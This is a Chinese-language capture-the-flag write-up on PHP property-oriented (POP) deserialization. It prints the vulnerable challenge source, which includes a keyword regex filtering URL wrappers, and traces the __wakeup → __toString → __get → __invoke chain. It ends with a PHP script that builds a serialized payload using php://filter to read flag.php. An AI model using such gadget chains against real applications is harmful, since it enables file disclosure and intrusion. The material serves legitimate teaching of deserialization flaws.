pop
面向属性编程
简而言之就是利用php中的魔术方法,实现对不同类的调用然后getshell
题目
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| Welcome to index.php <?php
class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } }
class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; }
public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } }
class Test{ public $p; public function __construct(){ $this->p = array(); }
public function __get($key){ $function = $this->p; return $function(); } }
if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__);
|
我们看到第一个类Modifier有一个include函数,可以触发文件包含漏洞,,有__invoke魔术方法,该方法是在类被当成函数的时候触发,,在看到test类中
1 2 3
| public function __get($key){ $function = $this->p; return $function();
|
可以自定义一个函数,我们就可以在这触发__invoke,但是这是个__get魔术方法在调用类中没有的变量时会触发,再看到show中的
1 2
| public function __toString(){ return $this->str->source;
|
可以让str变量为test类来触发__get
接下来就是要想办法触发__tostring
再看到
1 2 3 4
| public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php";
|
有个字符的正则匹配会触发__tostring,所以要让source为show类,
该逻辑是在__wakeup中再反序列化的时后会触发;
1 2 3 4
| if(isset($_GET['pop'])){ @unserialize($_GET['pop']); }
|
就get传入pop就行
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php class Modifier { protected $var='php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->str=new Test;
}
}
class Test{ public $p; public function __construct(){ $this->p = new Modifier; }
} $a=new Show(); $b=new Show(); $b->source=$a; echo urlencode(serialize($b));
|